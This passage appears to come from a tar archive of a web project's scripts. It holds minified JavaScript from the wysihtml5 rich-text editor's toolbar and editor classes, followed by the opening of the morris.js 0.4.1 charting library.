wysihtml5.views.Textarea=wysihtml5.views.View.extend({name:"textarea",constructor:function(b,c,a){this.base(b,c,a);this._observe()},clear:function(){this.element.value=""},getValue:function(b){var c=this.isEmpty()?"":this.element.value;b&&(c=this.parent.parse(c));return c},setValue:function(b,c){c&&(b=this.parent.parse(b));this.element.value=b},hasPlaceholderSet:function(){var b=wysihtml5.browser.supportsPlaceholderAttributeOn(this.element),c=this.element.getAttribute("placeholder")||null,a=this.element.value;
return b&&!a||a===c},isEmpty:function(){return!wysihtml5.lang.string(this.element.value).trim()||this.hasPlaceholderSet()},_observe:function(){var b=this.element,c=this.parent,a={focusin:"focus",focusout:"blur"},d=wysihtml5.browser.supportsEvent("focusin")?["focusin","focusout","change"]:["focus","blur","change"];c.observe("beforeload",function(){wysihtml5.dom.observe(b,d,function(b){b=a[b.type]||b.type;c.fire(b).fire(b+":textarea")});wysihtml5.dom.observe(b,["paste","drop"],function(){setTimeout(function(){c.fire("paste").fire("paste:textarea")},
0)})})}});
(function(b){var c=b.dom;b.toolbar.Dialog=b.lang.Dispatcher.extend({constructor:function(a,b){this.link=a;this.container=b},_observe:function(){if(!this._observed){var a=this,d=function(b){var c=a._serialize();c==a.elementToChange?a.fire("edit",c):a.fire("save",c);a.hide();b.preventDefault();b.stopPropagation()};c.observe(a.link,"click",function(){c.hasClass(a.link,"wysihtml5-command-dialog-opened")&&setTimeout(function(){a.hide()},0)});c.observe(this.container,"keydown",function(c){var e=c.keyCode;
e===b.ENTER_KEY&&d(c);e===b.ESCAPE_KEY&&a.hide()});c.delegate(this.container,"[data-wysihtml5-dialog-action=save]","click",d);c.delegate(this.container,"[data-wysihtml5-dialog-action=cancel]","click",function(b){a.fire("cancel");a.hide();b.preventDefault();b.stopPropagation()});for(var e=this.container.querySelectorAll("input, select, textarea"),f=0,h=e.length,i=function(){clearInterval(a.interval)};f<h;f++)c.observe(e[f],"change",i);this._observed=!0}},_serialize:function(){for(var a=this.elementToChange||
{},b=this.container.querySelectorAll("[data-wysihtml5-dialog-field]"),c=b.length,f=0;f<c;f++)a[b[f].getAttribute("data-wysihtml5-dialog-field")]=b[f].value;return a},_interpolate:function(a){for(var b,c,f=document.querySelector(":focus"),h=this.container.querySelectorAll("[data-wysihtml5-dialog-field]"),i=h.length,g=0;g<i;g++)b=h[g],b!==f&&!(a&&"hidden"===b.type)&&(c=b.getAttribute("data-wysihtml5-dialog-field"),c=this.elementToChange?this.elementToChange[c]||"":b.defaultValue,b.value=c)},show:function(a){var b=
this,e=this.container.querySelector("input, select, textarea");this.elementToChange=a;this._observe();this._interpolate();a&&(this.interval=setInterval(function(){b._interpolate(!0)},500));c.addClass(this.link,"wysihtml5-command-dialog-opened");this.container.style.display="";this.fire("show");if(e&&!a)try{e.focus()}catch(f){}},hide:function(){clearInterval(this.interval);this.elementToChange=null;c.removeClass(this.link,"wysihtml5-command-dialog-opened");this.container.style.display="none";this.fire("hide")}})})(wysihtml5);
(function(b){var c=b.dom,a={position:"relative"},d={left:0,margin:0,opacity:0,overflow:"hidden",padding:0,position:"absolute",top:0,zIndex:1},e={cursor:"inherit",fontSize:"50px",height:"50px",marginTop:"-25px",outline:0,padding:0,position:"absolute",right:"-4px",top:"50%"},f={"x-webkit-speech":"",speech:""};b.toolbar.Speech=function(h,i){var g=document.createElement("input");if(b.browser.supportsSpeechApiOn(g)){var k=document.createElement("div");b.lang.object(d).merge({width:i.offsetWidth+"px",height:i.offsetHeight+
"px"});c.insert(g).into(k);c.insert(k).into(i);c.setStyles(e).on(g);c.setAttributes(f).on(g);c.setStyles(d).on(k);c.setStyles(a).on(i);c.observe(g,"onwebkitspeechchange"in g?"webkitspeechchange":"speechchange",function(){h.execCommand("insertText",g.value);g.value=""});c.observe(g,"click",function(a){c.hasClass(i,"wysihtml5-command-disabled")&&a.preventDefault();a.stopPropagation()})}else i.style.display="none"}})(wysihtml5);
(function(b){var c=b.dom;b.toolbar.Toolbar=Base.extend({constructor:function(a,c){this.editor=a;this.container="string"===typeof c?document.getElementById(c):c;this.composer=a.composer;this._getLinks("command");this._getLinks("action");this._observe();this.show();for(var e=this.container.querySelectorAll("[data-wysihtml5-command=insertSpeech]"),f=e.length,h=0;h<f;h++)new b.toolbar.Speech(this,e[h])},_getLinks:function(a){for(var c=this[a+"Links"]=b.lang.array(this.container.querySelectorAll("a[data-wysihtml5-"+
a+"]")).get(),e=c.length,f=0,h=this[a+"Mapping"]={},i,g,k,j;f<e;f++)i=c[f],g=i.getAttribute("data-wysihtml5-"+a),k=i.getAttribute("data-wysihtml5-"+a+"-value"),j=this._getDialog(i,g),h[g+":"+k]={link:i,name:g,value:k,dialog:j,state:!1}},_getDialog:function(a,c){var e=this,f=this.container.querySelector("[data-wysihtml5-dialog='"+c+"']"),h,i;f&&(h=new b.toolbar.Dialog(a,f),h.observe("show",function(){i=e.composer.selection.getBookmark();e.editor.fire("show:dialog",{command:c,dialogContainer:f,commandLink:a})}),
h.observe("save",function(b){i&&e.composer.selection.setBookmark(i);e._execCommand(c,b);e.editor.fire("save:dialog",{command:c,dialogContainer:f,commandLink:a})}),h.observe("cancel",function(){e.editor.focus(!1);e.editor.fire("cancel:dialog",{command:c,dialogContainer:f,commandLink:a})}));return h},execCommand:function(a,b){if(!this.commandsDisabled){var c=this.commandMapping[a+":"+b];c&&c.dialog&&!c.state?c.dialog.show():this._execCommand(a,b)}},_execCommand:function(a,b){this.editor.focus(!1);this.composer.commands.exec(a,
b);this._updateLinkStates()},execAction:function(a){var b=this.editor;switch(a){case "change_view":b.currentView===b.textarea?b.fire("change_view","composer"):b.fire("change_view","textarea")}},_observe:function(){for(var a=this,b=this.editor,e=this.container,f=this.commandLinks.concat(this.actionLinks),h=f.length,i=0;i<h;i++)c.setAttributes({href:"javascript:;",unselectable:"on"}).on(f[i]);c.delegate(e,"[data-wysihtml5-command]","mousedown",function(a){a.preventDefault()});c.delegate(e,"[data-wysihtml5-command]",
"click",function(b){var c=this.getAttribute("data-wysihtml5-command"),d=this.getAttribute("data-wysihtml5-command-value");a.execCommand(c,d);b.preventDefault()});c.delegate(e,"[data-wysihtml5-action]","click",function(b){var c=this.getAttribute("data-wysihtml5-action");a.execAction(c);b.preventDefault()});b.observe("focus:composer",function(){a.bookmark=null;clearInterval(a.interval);a.interval=setInterval(function(){a._updateLinkStates()},500)});b.observe("blur:composer",function(){clearInterval(a.interval)});
b.observe("destroy:composer",function(){clearInterval(a.interval)});b.observe("change_view",function(b){setTimeout(function(){a.commandsDisabled="composer"!==b;a._updateLinkStates();a.commandsDisabled?c.addClass(e,"wysihtml5-commands-disabled"):c.removeClass(e,"wysihtml5-commands-disabled")},0)})},_updateLinkStates:function(){var a=this.commandMapping,d,e,f;for(d in a)if(f=a[d],this.commandsDisabled?(e=!1,c.removeClass(f.link,"wysihtml5-command-active"),f.dialog&&f.dialog.hide()):(e=this.composer.commands.state(f.name,
f.value),b.lang.object(e).isArray()&&(e=1===e.length?e[0]:!0),c.removeClass(f.link,"wysihtml5-command-disabled")),f.state!==e)(f.state=e)?(c.addClass(f.link,"wysihtml5-command-active"),f.dialog&&("object"===typeof e?f.dialog.show(e):f.dialog.hide())):(c.removeClass(f.link,"wysihtml5-command-active"),f.dialog&&f.dialog.hide())},show:function(){this.container.style.display=""},hide:function(){this.container.style.display="none"}})})(wysihtml5);
(function(b){var c={name:void 0,style:!0,toolbar:void 0,autoLink:!0,parserRules:{tags:{br:{},span:{},div:{},p:{}},classes:{}},parser:b.dom.parse,composerClassName:"wysihtml5-editor",bodyClassName:"wysihtml5-supported",stylesheets:[],placeholderText:void 0,allowObjectResizing:!0,supportTouchDevices:!0};b.Editor=b.lang.Dispatcher.extend({constructor:function(a,d){this.textareaElement="string"===typeof a?document.getElementById(a):a;this.config=b.lang.object({}).merge(c).merge(d).get();this.currentView=
this.textarea=new b.views.Textarea(this,this.textareaElement,this.config);this._isCompatible=b.browser.supported();if(!this._isCompatible||!this.config.supportTouchDevices&&b.browser.isTouchDevice()){var e=this;setTimeout(function(){e.fire("beforeload").fire("load")},0)}else{b.dom.addClass(document.body,this.config.bodyClassName);this.currentView=this.composer=new b.views.Composer(this,this.textareaElement,this.config);"function"===typeof this.config.parser&&this._initParser();this.observe("beforeload",
function(){this.synchronizer=new b.views.Synchronizer(this,this.textarea,this.composer);this.config.toolbar&&(this.toolbar=new b.toolbar.Toolbar(this,this.config.toolbar))});try{console.log("Heya! This page is using wysihtml5 for rich text editing. Check out https://github.com/xing/wysihtml5")}catch(f){}}},isCompatible:function(){return this._isCompatible},clear:function(){this.currentView.clear();return this},getValue:function(a){return this.currentView.getValue(a)},setValue:function(a,b){if(!a)return this.clear();
this.currentView.setValue(a,b);return this},focus:function(a){this.currentView.focus(a);return this},disable:function(){this.currentView.disable();return this},enable:function(){this.currentView.enable();return this},isEmpty:function(){return this.currentView.isEmpty()},hasPlaceholderSet:function(){return this.currentView.hasPlaceholderSet()},parse:function(a){var c=this.config.parser(a,this.config.parserRules,this.composer.sandbox.getDocument(),!0);"object"===typeof a&&b.quirks.redraw(a);return c},
_initParser:function(){this.observe("paste:composer",function(){var a=this;a.composer.selection.executeAndRestore(function(){b.quirks.cleanPastedHTML(a.composer.element);a.parse(a.composer.element)},!0)});this.observe("paste:textarea",function(){this.textarea.setValue(this.parse(this.textarea.getValue()))})}})})(wysihtml5);
js/morris-0.4.1.min.js000060400000067303150710775200010262 0ustar00(function(){var e,t,n,r,i=[].slice,s={}.hasOwnProperty,o=function(e,t){function r(){this.constructor=e}for(var n in t)s.call(t,n)&&(e[n]=t[n]);return r.prototype=t.prototype,e.prototype=new r,e.__super__=t.prototype,e},u=function(e,t){return function(){return e.apply(t,arguments)}},a=[].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1};t=window.Morris={},e=jQuery,t.EventEmitter=function(){function e(){}return e.prototype.on=function(e,t){return this.handlers==null&&(this.handlers={}),this.handlers[e]==null&&(this.handlers[e]=[]),this.handlers[e].push(t)},e.prototype.fire=function(){var e,t,n,r,s,o,u;n=arguments[0],e=2<=arguments.length?i.call(arguments,1):[];if(this.handlers!=null&&this.handlers[n]!=null){o=this.handlers[n],u=[];for(r=0,s=o.length;r<s;r++)t=o[r],u.push(t.apply(null,e));return u}},e}(),t.commas=function(e){var t,n,r,i;return e!=null?(r=e<0?"-":"",t=Math.abs(e),n=Math.floor(t).toFixed(0),r+=n.replace(/(?=(?:\d{3})+$)(?!^)/g,","),i=t.toString(),i.length>n.length&&(r+=i.slice(n.length)),r):"-"},t.pad2=function(e){return(e<10?"0":"")+e},t.Grid=function(n){function r(t){var n=this;typeof t.element=="string"?this.el=e(document.getElementById(t.element)):this.el=e(t.element);if(this.el==null||this.el.length===0)throw new Error("Graph container element not found");this.el.css("position")==="static"&&this.el.css("position","relative"),this.options=e.extend({},this.gridDefaults,this.defaults||{},t),typeof this.options.units=="string"&&(this.options.postUnits=t.units),this.raphael=new Raphael(this.el[0]),this.elementWidth=null,this.elementHeight=null,this.dirty=!1,this.init&&this.init(),this.setData(this.options.data),this.el.bind("mousemove",function(e){var t;return t=n.el.offset(),n.fire("hovermove",e.pageX-t.left,e.pageY-t.top)}),this.el.bind("mouseout",function(e){return n.fire("hoverout")}),this.el.bind("touchstart touchmove touchend",function(e){var t,r;return r=e.originalEvent.touches[0]||e.originalEvent.changedTouches[0],t=n.el.offset(),n.fire("hover",r.pageX-t.left,r.pageY-t.top),r}),this.postInit&&this.postInit()}return o(r,n),r.prototype.gridDefaults={dateFormat:null,axes:!0,grid:!0,gridLineColor:"#aaa",gridStrokeWidth:.5,gridTextColor:"#888",gridTextSize:12,hideHover:!1,yLabelFormat:null,numLines:5,padding:25,parseTime:!0,postUnits:"",preUnits:"",ymax:"auto",ymin:"auto 0",goals:[],goalStrokeWidth:1,goalLineColors:["#666633","#999966","#cc6666","#663333"],events:[],eventStrokeWidth:1,eventLineColors:["#005a04","#ccffbb","#3a5f0b","#005502"]},r.prototype.setData=function(e,n){var r,i,s,o,u,a,f,l,c,h,p,d;n==null&&(n=!0);if(e==null||e.length===0){this.data=[],this.raphael.clear(),this.hover!=null&&this.hover.hide();return}h=this.cumulative?0:null,p=this.cumulative?0:null,this.options.goals.length>0&&(u=Math.min.apply(null,this.options.goals),o=Math.max.apply(null,this.options.goals),p=p!=null?Math.min(p,u):u,h=h!=null?Math.max(h,o):o),this.data=function(){var n,r,o;o=[];for(s=n=0,r=e.length;n<r;s=++n)f=e[s],a={},a.label=f[this.options.xkey],this.options.parseTime?(a.x=t.parseDate(a.label),this.options.dateFormat?a.label=this.options.dateFormat(a.x):typeof a.label=="number"&&(a.label=(new Date(a.label)).toString())):a.x=s,l=0,a.y=function(){var e,t,n,r;n=this.options.ykeys,r=[];for(i=e=0,t=n.length;e<t;i=++e)c=n[i],d=f[c],typeof d=="string"&&(d=parseFloat(d)),d!=null&&typeof d!="number"&&(d=null),d!=null&&(this.cumulative?l+=d:h!=null?(h=Math.max(d,h),p=Math.min(d,p)):h=p=d),this.cumulative&&l!=null&&(h=Math.max(l,h),p=Math.min(l,p)),r.push(d);return r}.call(this),o.push(a);return o}.call(this),this.options.parseTime&&(this.data=this.data.sort(function(e,t){return(e.x>t.x)-(t.x>e.x)})),this.xmin=this.data[0].x,this.xmax=this.data[this.data.length-1].x,this.events=[],this.options.parseTime&&this.options.events.length>0&&(this.events=function(){var e,n,i,s;i=this.options.events,s=[];for(e=0,n=i.length;e<n;e++)r=i[e],s.push(t.parseDate(r));return s}.call(this),this.xmax=Math.max(this.xmax,Math.max.apply(null,this.events)),this.xmin=Math.min(this.xmin,Math.min.apply(null,this.events))),this.xmin===this.xmax&&(this.xmin-=1,this.xmax+=1),this.ymin=this.yboundary("min",p),this.ymax=this.yboundary("max",h),this.ymin===this.ymax&&(p&&(this.ymin-=1),this.ymax+=1),this.yInterval=(this.ymax-this.ymin)/(this.options.numLines-1),this.yInterval>0&&this.yInterval<1?this.precision=-Math.floor(Math.log(this.yInterval)/Math.log(10)):this.precision=0,this.dirty=!0;if(n)return this.redraw()},r.prototype.yboundary=function(e,t){var n,r;return n=this.options["y"+e],typeof n=="string"?n.slice(0,4)==="auto"?n.length>5?(r=parseInt(n.slice(5),10),t==null?r:Math[e](t,r)):t!=null?t:0:parseInt(n,10):n},r.prototype._calc=function(){var e,t,n;n=this.el.width(),e=this.el.height();if(this.elementWidth!==n||this.elementHeight!==e||this.dirty){this.elementWidth=n,this.elementHeight=e,this.dirty=!1,this.left=this.options.padding,this.right=this.elementWidth-this.options.padding,this.top=this.options.padding,this.bottom=this.elementHeight-this.options.padding,this.options.axes&&(t=Math.max(this.measureText(this.yAxisFormat(this.ymin),this.options.gridTextSize).width,this.measureText(this.yAxisFormat(this.ymax),this.options.gridTextSize).width),this.left+=t,this.bottom-=1.5*this.options.gridTextSize),this.width=this.right-this.left,this.height=this.bottom-this.top,this.dx=this.width/(this.xmax-this.xmin),this.dy=this.height/(this.ymax-this.ymin);if(this.calc)return this.calc()}},r.prototype.transY=function(e){return this.bottom-(e-this.ymin)*this.dy},r.prototype.transX=function(e){return this.data.length===1?(this.left+this.right)/2:this.left+(e-this.xmin)*this.dx},r.prototype.redraw=function(){this.raphael.clear(),this._calc(),this.drawGrid(),this.drawGoals(),this.drawEvents();if(this.draw)return this.draw()},r.prototype.measureText=function(e,t){var n,r;return t==null&&(t=12),r=this.raphael.text(100,100,e).attr("font-size",t),n=r.getBBox(),r.remove(),n},r.prototype.yAxisFormat=function(e){return this.yLabelFormat(e)},r.prototype.yLabelFormat=function(e){return typeof this.options.yLabelFormat=="function"?this.options.yLabelFormat(e):""+this.options.preUnits+t.commas(e)+this.options.postUnits},r.prototype.updateHover=function(e,t){var n,r;n=this.hitTest(e,t);if(n!=null)return(r=this.hover).update.apply(r,n)},r.prototype.drawGrid=function(){var e,t,n,r,i,s,o,u;if(this.options.grid===!1&&this.options.axes===!1)return;e=this.ymin,t=this.ymax,u=[];for(n=s=e,o=this.yInterval;e<=t?s<=t:s>=t;n=s+=o)r=parseFloat(n.toFixed(this.precision)),i=this.transY(r),this.options.axes&&this.drawYAxisLabel(this.left-this.options.padding/2,i,this.yAxisFormat(r)),this.options.grid?u.push(this.drawGridLine("M"+this.left+","+i+"H"+(this.left+this.width))):u.push(void 0);return u},r.prototype.drawGoals=function(){var e,t,n,r,i,s,o;s=this.options.goals,o=[];for(n=r=0,i=s.length;r<i;n=++r)t=s[n],e=this.options.goalLineColors[n%this.options.goalLineColors.length],o.push(this.drawGoal(t,e));return o},r.prototype.drawEvents=function(){var e,t,n,r,i,s,o;s=this.events,o=[];for(n=r=0,i=s.length;r<i;n=++r)t=s[n],e=this.options.eventLineColors[n%this.options.eventLineColors.length],o.push(this.drawEvent(t,e));return o},r.prototype.drawGoal=function(e,t){return this.raphael.path("M"+this.left+","+this.transY(e)+"H"+this.right).attr("stroke",t).attr("stroke-width",this.options.goalStrokeWidth)},r.prototype.drawEvent=function(e,t){return this.raphael.path("M"+this.transX(e)+","+this.bottom+"V"+this.top).attr("stroke",t).attr("stroke-width",this.options.eventStrokeWidth)},r.prototype.drawYAxisLabel=function(e,t,n){return this.raphael.text(e,t,n).attr("font-size",this.options.gridTextSize).attr("fill",this.options.gridTextColor).attr("text-anchor","end")},r.prototype.drawGridLine=function(e){return this.raphael.path(e).attr("stroke",this.options.gridLineColor).attr("stroke-width",this.options.gridStrokeWidth)},r}(t.EventEmitter),t.parseDate=function(e){var t,n,r,i,s,o,u,a,f,l,c;return typeof e=="number"?e:(n=e.match(/^(\d+) Q(\d)$/),i=e.match(/^(\d+)-(\d+)$/),s=e.match(/^(\d+)-(\d+)-(\d+)$/),u=e.match(/^(\d+) W(\d+)$/),a=e.match(/^(\d+)-(\d+)-(\d+)[ T](\d+):(\d+)(Z|([+-])(\d\d):?(\d\d))?$/),f=e.match(/^(\d+)-(\d+)-(\d+)[ T](\d+):(\d+):(\d+(\.\d+)?)(Z|([+-])(\d\d):?(\d\d))?$/),n?(new Date(parseInt(n[1],10),parseInt(n[2],10)*3-1,1)).getTime():i?(new Date(parseInt(i[1],10),parseInt(i[2],10)-1,1)).getTime():s?(new Date(parseInt(s[1],10),parseInt(s[2],10)-1,parseInt(s[3],10))).getTime():u?(l=new Date(parseInt(u[1],10),0,1),l.getDay()!==4&&l.setMonth(0,1+(4-l.getDay()+7)%7),l.getTime()+parseInt(u[2],10)*6048e5):a?a[6]?(o=0,a[6]!=="Z"&&(o=parseInt(a[8],10)*60+parseInt(a[9],10),a[7]==="+"&&(o=0-o)),Date.UTC(parseInt(a[1],10),parseInt(a[2],10)-1,parseInt(a[3],10),parseInt(a[4],10),parseInt(a[5],10)+o)):(new Date(parseInt(a[1],10),parseInt(a[2],10)-1,parseInt(a[3],10),parseInt(a[4],10),parseInt(a[5],10))).getTime():f?(c=parseFloat(f[6]),t=Math.floor(c),r=Math.round((c-t)*1e3),f[8]?(o=0,f[8]!=="Z"&&(o=parseInt(f[10],10)*60+parseInt(f[11],10),f[9]==="+"&&(o=0-o)),Date.UTC(parseInt(f[1],10),parseInt(f[2],10)-1,parseInt(f[3],10),parseInt(f[4],10),parseInt(f[5],10)+o,t,r)):(new Date(parseInt(f[1],10),parseInt(f[2],10)-1,parseInt(f[3],10),parseInt(f[4],10),parseInt(f[5],10),t,r)).getTime()):(new Date(parseInt(e,10),0,1)).getTime())},t.Hover=function(){function n(n){n==null&&(n={}),this.options=e.extend({},t.Hover.defaults,n),this.el=e("<div class='"+this.options["class"]+"'></div>"),this.el.hide(),this.options.parent.append(this.el)}return n.defaults={"class":"morris-hover morris-default-style"},n.prototype.update=function(e,t,n){return this.html(e),this.show(),this.moveTo(t,n)},n.prototype.html=function(e){return this.el.html(e)},n.prototype.moveTo=function(e,t){var n,r,i,s,o,u;return o=this.options.parent.innerWidth(),s=this.options.parent.innerHeight(),r=this.el.outerWidth(),n=this.el.outerHeight(),i=Math.min(Math.max(0,e-r/2),o-r),t!=null?(u=t-n-10,u<0&&(u=t+10,u+n>s&&(u=s/2-n/2))):u=s/2-n/2,this.el.css({left:i+"px",top:u+"px"})},n.prototype.show=function(){return this.el.show()},n.prototype.hide=function(){return this.el.hide()},n}(),t.Line=function(e){function n(e){this.hilight=u(this.hilight,this),this.onHoverOut=u(this.onHoverOut,this),this.onHoverMove=u(this.onHoverMove,this);if(!(this instanceof t.Line))return new t.Line(e);n.__super__.constructor.call(this,e)}return o(n,e),n.prototype.init=function(){this.pointGrow=Raphael.animation({r:this.options.pointSize+3},25,"linear"),this.pointShrink=Raphael.animation({r:this.options.pointSize},25,"linear");if(this.options.hideHover!=="always")return this.hover=new t.Hover({parent:this.el}),this.on("hovermove",this.onHoverMove),this.on("hoverout",this.onHoverOut)},n.prototype.defaults={lineWidth:3,pointSize:4,lineColors:["#0b62a4","#7A92A3","#4da74d","#afd8f8","#edc240","#cb4b4b","#9440ed"],pointWidths:[1],pointStrokeColors:["#ffffff"],pointFillColors:[],smooth:!0,xLabels:"auto",xLabelFormat:null,xLabelMargin:50,continuousLine:!0,hideHover:!1},n.prototype.calc=function(){return this.calcPoints(),this.generatePaths()},n.prototype.calcPoints=function(){var e,t,n,r,i,s;i=this.data,s=[];for(n=0,r=i.length;n<r;n++)e=i[n],e._x=this.transX(e.x),e._y=function(){var n,r,i,s;i=e.y,s=[];for(n=0,r=i.length;n<r;n++)t=i[n],t!=null?s.push(this.transY(t)):s.push(t);return s}.call(this),s.push(e._ymax=Math.min.apply(null,[this.bottom].concat(function(){var n,r,i,s;i=e._y,s=[];for(n=0,r=i.length;n<r;n++)t=i[n],t!=null&&s.push(t);return s}())));return s},n.prototype.hitTest=function(e,t){var n,r,i,s,o;if(this.data.length===0)return null;o=this.data.slice(1);for(n=i=0,s=o.length;i<s;n=++i){r=o[n];if(e<(r._x+this.data[n]._x)/2)break}return n},n.prototype.onHoverMove=function(e,t){var n;return n=this.hitTest(e,t),this.displayHoverForRow(n)},n.prototype.onHoverOut=function(){if(this.options.hideHover==="auto")return this.displayHoverForRow(null)},n.prototype.displayHoverForRow=function(e){var t;return e!=null?((t=this.hover).update.apply(t,this.hoverContentForRow(e)),this.hilight(e)):(this.hover.hide(),this.hilight())},n.prototype.hoverContentForRow=function(e){var t,n,r,i,s,o,u;r=this.data[e];if(typeof this.options.hoverCallback=="function")t=this.options.hoverCallback(e,this.options);else{t="<div class='morris-hover-row-label'>"+r.label+"</div>",u=r.y;for(n=s=0,o=u.length;s<o;n=++s)i=u[n],t+="<div class='morris-hover-point' style='color: "+this.colorFor(r,n,"label")+"'>\n  "+this.options.labels[n]+":\n  "+this.yLabelFormat(i)+"\n</div>"}return[t,r._x,r._ymax]},n.prototype.generatePaths=function(){var e,n,r,i,s;return this.paths=function(){var o,u,f,l;l=[];for(r=o=0,u=this.options.ykeys.length;0<=u?o<u:o>u;r=0<=u?++o:--o)s=this.options.smooth===!0||(f=this.options.ykeys[r],a.call(this.options.smooth,f)>=0),n=function(){var e,t,n,s;n=this.data,s=[];for(e=0,t=n.length;e<t;e++)i=n[e],i._y[r]!==void 0&&s.push({x:i._x,y:i._y[r]});return s}.call(this),this.options.continuousLine&&(n=function(){var t,r,i;i=[];for(t=0,r=n.length;t<r;t++)e=n[t],e.y!==null&&i.push(e);return i}()),n.length>1?l.push(t.Line.createPath(n,s,this.bottom)):l.push(null);return l}.call(this)},n.prototype.draw=function(){this.options.axes&&this.drawXAxis(),this.drawSeries();if(this.options.hideHover===!1)return this.displayHoverForRow(this.data.length-1)},n.prototype.drawXAxis=function(){var e,n,r,i,s,o,u,a,f,l=this;o=this.bottom+this.options.gridTextSize*1.25,i=null,e=function(e,t){var n,r;return n=l.drawXAxisLabel(l.transX(t),o,e),r=n.getBBox(),(i==null||i>=r.x+r.width)&&r.x>=0&&r.x+r.width<l.el.width()?i=r.x-l.options.xLabelMargin:n.remove()},this.options.parseTime?this.data.length===1&&this.options.xLabels==="auto"?r=[[this.data[0].label,this.data[0].x]]:r=t.labelSeries(this.xmin,this.xmax,this.width,this.options.xLabels,this.options.xLabelFormat):r=function(){var e,t,n,r;n=this.data,r=[];for(e=0,t=n.length;e<t;e++)s=n[e],r.push([s.label,s.x]);return r}.call(this),r.reverse(),f=[];for(u=0,a=r.length;u<a;u++)n=r[u],f.push(e(n[0],n[1]));return f},n.prototype.drawSeries=function(){var e,t,n,r,i,s,o,u,a;for(t=i=o=this.options.ykeys.length-1;o<=0?i<=0:i>=0;t=o<=0?++i:--i)n=this.paths[t],n!==null&&this.drawLinePath(n,this.colorFor(r,t,"line"));this.seriesPoints=function(){var e,n,r;r=[];for(t=e=0,n=this.options.ykeys.length;0<=n?e<n:e>n;t=0<=n?++e:--e)r.push([]);return r}.call(this),a=[];for(t=s=u=this.options.ykeys.length-1;u<=0?s<=0:s>=0;t=u<=0?++s:--s)a.push(function(){var n,i,s,o;s=this.data,o=[];for(n=0,i=s.length;n<i;n++)r=s[n],r._y[t]!=null?e=this.drawLinePoint(r._x,r._y[t],this.options.pointSize,this.colorFor(r,t,"point"),t):e=null,o.push(this.seriesPoints[t].push(e));return o}.call(this));return a},n.createPath=function(e,n,r){var i,s,o,u,a,f,l,c,h,p,d,v,m,g;l="",n&&(o=t.Line.gradients(e)),c={y:null};for(u=m=0,g=e.length;m<g;u=++m){i=e[u];if(i.y!=null)if(c.y!=null)n?(s=o[u],f=o[u-1],a=(i.x-c.x)/4,h=c.x+a,d=Math.min(r,c.y+a*f),p=i.x-a,v=Math.min(r,i.y-a*s),l+="C"+h+","+d+","+p+","+v+","+i.x+","+i.y):l+="L"+i.x+","+i.y;else if(!n||o[u]!=null)l+="M"+i.x+","+i.y;c=i}return l},n.gradients=function(e){var t,n,r,i,s,o,u,a;n=function(e,t){return(e.y-t.y)/(e.x-t.x)},a=[];for(r=o=0,u=e.length;o<u;r=++o)t=e[r],t.y!=null?(i=e[r+1]||{y:null},s=e[r-1]||{y:null},s.y!=null&&i.y!=null?a.push(n(s,i)):s.y!=null?a.push(n(s,t)):i.y!=null?a.push(n(t,i)):a.push(null)):a.push(null);return a},n.prototype.hilight=function(e){var t,n,r,i,s;if(this.prevHilight!==null&&this.prevHilight!==e)for(t=n=0,i=this.seriesPoints.length-1;0<=i?n<=i:n>=i;t=0<=i?++n:--n)this.seriesPoints[t][this.prevHilight]&&this.seriesPoints[t][this.prevHilight].animate(this.pointShrink);if(e!==null&&this.prevHilight!==e)for(t=r=0,s=this.seriesPoints.length-1;0<=s?r<=s:r>=s;t=0<=s?++r:--r)this.seriesPoints[t][e]&&this.seriesPoints[t][e].animate(this.pointGrow);return this.prevHilight=e},n.prototype.colorFor=function(e,t,n){return typeof this.options.lineColors=="function"?this.options.lineColors.call(this,e,t,n):n==="point"?this.options.pointFillColors[t%this.options.pointFillColors.length]||this.options.lineColors[t%this.options.lineColors.length]:this.options.lineColors[t%this.options.lineColors.length]},n.prototype.drawXAxisLabel=function(e,t,n){return this.raphael.text(e,t,n).attr("font-size",this.options.gridTextSize).attr("fill",this.options.gridTextColor)},n.prototype.drawLinePath=function(e,t){return this.raphael.path(e).attr("stroke",t).attr("stroke-width",this.options.lineWidth)},n.prototype.drawLinePoint=function(e,t,n,r,i){return this.raphael.circle(e,t,n).attr("fill",r).attr("stroke-width",this.strokeWidthForSeries(i)).attr("stroke",this.strokeForSeries(i))},n.prototype.strokeWidthForSeries=function(e){return this.options.pointWidths[e%this.options.pointWidths.length]},n.prototype.strokeForSeries=function(e){return this.options.pointStrokeColors[e%this.options.pointStrokeColors.length]},n}(t.Grid),t.labelSeries=function(n,r,i,s,o){var u,a,f,l,c,h,p,d,v,m,g;f=200*(r-n)/i,a=new Date(n),p=t.LABEL_SPECS[s];if(p===void 0){g=t.AUTO_LABEL_ORDER;for(v=0,m=g.length;v<m;v++){l=g[v],h=t.LABEL_SPECS[l];if(f>=h.span){p=h;break}}}p===void 0&&(p=t.LABEL_SPECS.second),o&&(p=e.extend({},p,{fmt:o})),u=p.start(a),c=[];while((d=u.getTime())<=r)d>=n&&c.push([p.fmt(u),d]),p.incr(u);return c},n=function(e){return{span:e*60*1e3,start:function(e){return new Date(e.getFullYear(),e.getMonth(),e.getDate(),e.getHours())},fmt:function(e){return""+t.pad2(e.getHours())+":"+t.pad2(e.getMinutes())},incr:function(t){return t.setMinutes(t.getMinutes()+e)}}},r=function(e){return{span:e*1e3,start:function(e){return new Date(e.getFullYear(),e.getMonth(),e.getDate(),e.getHours(),e.getMinutes())},fmt:function(e){return""+t.pad2(e.getHours())+":"+t.pad2(e.getMinutes())+":"+t.pad2(e.getSeconds())},incr:function(t){return t.setSeconds(t.getSeconds()+e)}}},t.LABEL_SPECS={decade:{span:1728e8,start:function(e){return new Date(e.getFullYear()-e.getFullYear()%10,0,1)},fmt:function(e){return""+e.getFullYear()},incr:function(e){return e.setFullYear(e.getFullYear()+10)}},year:{span:1728e7,start:function(e){return new Date(e.getFullYear(),0,1)},fmt:function(e){return""+e.getFullYear()},incr:function(e){return e.setFullYear(e.getFullYear()+1)}},month:{span:24192e5,start:function(e){return new Date(e.getFullYear(),e.getMonth(),1)},fmt:function(e){return""+e.getFullYear()+"-"+t.pad2(e.getMonth()+1)},incr:function(e){return e.setMonth(e.getMonth()+1)}},day:{span:864e5,start:function(e){return new Date(e.getFullYear(),e.getMonth(),e.getDate())},fmt:function(e){return""+e.getFullYear()+"-"+t.pad2(e.getMonth()+1)+"-"+t.pad2(e.getDate())},incr:function(e){return 